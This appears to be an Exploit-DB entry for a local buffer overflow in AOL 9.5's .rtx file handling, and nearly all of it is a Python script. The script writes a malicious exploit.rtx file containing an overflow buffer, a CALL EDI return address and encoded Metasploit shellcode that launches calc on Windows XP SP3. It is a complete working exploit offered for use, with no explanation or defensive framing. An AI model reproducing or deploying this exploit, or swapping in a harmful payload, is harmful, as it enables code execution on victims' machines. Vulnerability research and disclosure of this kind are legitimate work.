AOL 9.5 (rtx) Local Buffer Overflow Exploit



EDB-ID: 16085 CVE: N/A OSVDB-ID: 70741
Author: sup3r Published: 2011-01-31 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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#!/usr/bin/python
#Bug : AOL 9.5 (rtx) Local Buffer Overflow Exploit
#by sup3r
#Tested on : XP SP3
 
header1 = (
"\x3c\x48\x54\x4d\x4c\x3e\x3c\x46\x4f\x4e\x54\x20\x20\x53\x49\x5a"
"\x45\x3d\x32\x20\x50\x54\x53\x49\x5a\x45\x3d\x31\x30\x20\x46\x41"
"\x4d\x49\x4c\x59\x3d\x22\x53\x41\x4e\x53\x53\x45\x52\x49\x46\x22"
"\x20\x46\x41\x43\x45\x3d\x22\x41\x72\x69\x61\x6c\x22\x20\x4c\x41"
"\x4e\x47\x3d\x22\x30\x22\x3e\x3c\x41\x20\x48\x52\x45\x46\x3d\x22"
"\x68\x74\x74\x70\x3a\x2f\x2f")
 
header2 = (
"\x22\x3e\x74\x65\x73\x74\x3c\x2f\x41\x3e\x3c\x55\x3e\x3c\x42\x52"
"\x3e\x0d\x0a\x3c\x2f\x55\x3e\x3c\x2f\x46\x4f\x4e\x54\x3e\x3c\x2f"
"\x48\x54\x4d\x4c\x3e\x0d\x0a")
 
# win32_exec -  EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x45\x54\x4e\x53\x4b\x58\x4e\x47"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x34\x4a\x31\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x53\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x34"
"\x4b\x48\x4f\x45\x4e\x31\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58"
"\x41\x30\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x53\x45\x58\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x38\x42\x44\x4e\x30\x4b\x38\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x56\x4e\x43\x4f\x35\x41\x43"
"\x48\x4f\x42\x56\x48\x45\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x56\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x56\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x46"
"\x4e\x56\x43\x36\x42\x50\x5a")
 
payload =  header1
payload += "\x41"*5456
payload += "\x75\x12"
payload += "\x44"*14
payload += "\x8D\x1F\x94\x64"   #CALL EDI
payload += shellcode
payload += header2
 
try:
   aol = open("exploit.rtx",'w')
   aol.write(payload)
   aol.close()
   print "Exploit file created!\n"
except:
   print "Error!"